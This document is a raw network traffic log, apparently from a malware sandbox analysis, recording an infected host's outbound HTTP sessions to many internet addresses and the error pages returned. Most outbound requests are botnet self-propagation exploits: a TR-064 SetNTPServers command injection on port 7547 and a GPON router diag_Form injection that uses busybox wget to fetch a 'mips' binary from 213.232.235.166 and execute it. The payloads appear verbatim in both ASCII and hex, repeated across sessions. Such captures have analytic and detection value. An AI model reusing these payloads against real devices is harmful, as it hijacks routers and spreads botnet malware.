Ascii:
Apr 15, 2024 08:52:32.303952932 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 09:52:31 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>
Apr 15, 2024 08:52:33.318742990 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 09:52:31 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.13	55424	14.74.199.127	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:32.210613966 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.13	47122	95.29.33.22	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:32.299876928 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:32.646955967 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 09:52:31 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.13	58242	138.4.38.55	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:32.790157080 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.13	37898	156.214.35.68	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:32.836822033 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:34.624458075 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:36.704462051 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:41.056462049 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:49.504452944 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:07.424441099 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:42.240389109 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.13	49162	44.241.89.239	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:32.968966007 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:33.147826910 CEST	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.13	43606	103.197.15.94	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:33.051090956 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:33.316310883 CEST	404	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:52:33 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.13	48188	20.50.218.26	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:33.141494036 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:34.688462973 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:34.991447926 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:34 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.13	42266	91.132.250.238	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:33.176872015 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:33.517210007 CEST	1289	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Mon, 15 Apr 2024 05:55:11 GMT Content-Type: text/html Content-Length: 3181 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0a 7d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff;}
Apr 15, 2024 08:52:33.517275095 CEST	1289	IN	Data Raw: 0a 0a 2f 2a 20 47 65 6e 65 72 61 6c 20 74 65 78 74 20 2a 2f 0a 70 20 7b 0a 7d 0a 0a 2f 2a 20 65 72 72 6f 72 20 62 72 69 65 66 20 64 65 73 63 72 69 70 74 69 6f 6e 20 2a 2f 0a 23 65 72 72 6f 72 20 70 20 7b 0a 7d 0a 0a 2f 2a 20 73 6f 6d 65 20 64 61 Data Ascii: /* General text /p {}/ error brief description /#error p {}/ some data which may have caused the problem /#data {}/ the error message received from the system or other software */#sysmsg {}pre { font-family:sans-ser
Apr 15, 2024 08:52:33.517298937 CEST	845	IN	Data Raw: 75 65 73 74 65 64 20 55 52 4c 20 69 73 20 69 6e 63 6f 72 72 65 63 74 2e 3c 2f 70 3e 20 20 3c 70 3e 53 6f 6d 65 20 70 6f 73 73 69 62 6c 65 20 70 72 6f 62 6c 65 6d 73 20 61 72 65 3a 3c 2f 70 3e 20 3c 75 6c 3e 20 3c 6c 69 3e 3c 70 3e 4d 69 73 73 69 Data Ascii: uested URL is incorrect.</p> <p>Some possible problems are:</p> <ul> <li><p>Missing or incorrect access protocol (should be <q>http://</q> or similar)</p></li> <li><p>Missing hostname</p></li> <li><p>Illegal double-escape in the URL-Path</p><

Session ID	Source IP	Source Port	Destination IP	Destination Port
